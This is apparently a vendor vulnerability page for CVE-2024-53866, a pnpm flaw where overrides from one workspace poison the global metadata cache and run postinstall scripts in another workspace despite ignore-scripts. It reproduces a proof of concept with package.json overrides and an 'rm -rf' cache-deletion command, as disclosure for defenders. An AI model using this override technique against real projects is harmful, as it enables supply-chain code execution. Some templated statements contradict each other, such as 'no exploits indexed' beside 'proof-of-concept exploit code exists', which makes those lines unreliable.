How severe is CVE-2024-53866?

No CVSS score has been assigned to CVE-2024-53866 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2024-53866?

CVE-2024-53866 affects the following packages: pnpm (npm). Ecosystems affected: npm.

How do I fix CVE-2024-53866?

Update pnpm to 9.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-53866 is resolved across your whole dependency graph.

How do I detect CVE-2024-53866 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2024-53866 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Is CVE-2024-53866 actively exploited in the wild?

No public exploit code has been indexed for CVE-2024-53866 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2024-53866?

CVE-2024-53866 has an EPSS (Exploit Prediction Scoring System) score of 1.0%, placing it in the 62th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2024-53866?

CVE-2024-53866 is classified as CWE-426 (CWE-426). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2024-53866 published, and has it been updated?

CVE-2024-53866 was published on December 10, 2024 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

CVE-2024-53866 — pnpm

Fix: pnpm/pnpm@11afcdd

CVE-2024-53866 is a CWE-426 vulnerability in pnpm. A fix is available for pnpm — see the affected versions and patch details below.

pnpm vulnerable to no-script global cache poisoning via overrides / `ignore-scripts` evasion

Also known asGHSA-vm32-9rqf-rh3r

Published

Dec 10, 2024

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Oct 29, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-53866.

EPSS Exploitation Probability

via FIRST.org ↗

1.0%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs62th percentile — riskier than 62% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

410other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

pnpmnpm

306.9Mdownloads / week

Description

Summary

pnpm seems to mishandle overrides and global cache:

Overrides from one workspace leak into npm metadata saved in global cache
npm metadata from global cache affects other workspaces
installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log

Remove store and cache On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store This step is not required in general, but we'll be using a popular package for PoC that's likely cached
Create A/package.json:
```
{
  "name": "A",
  "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } },
  "dependencies": { "rimraf": "6.0.1" }
}
```
Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)

Create B/package.json:

{
  "name": "B",
  "dependencies": { "rimraf": "6.0.1" }
}

Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/[email protected]/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`pnpm`	all versions	9.15.0`npm install pnpm@9.15.0`

Affected Products

1 product · 1 configurations

Application

pnpmpnpm

< 9.15.0

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pnpm to 9.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-53866 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary pnpm seems to mishandle overrides and global cache: 1. Overrides from one workspace leak into npm metadata saved in global cache 2. npm metadata from global cache affects other workspaces 3. installs by default don't revalidate the data (including on first lockfile generation) This can make workspace A (even running with `ignore-scripts=true`) posion global cache and execute scripts in workspace B Users generally expect `ignore-scripts` to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it). Here, that

O3 Security · Impact-Aware SCA

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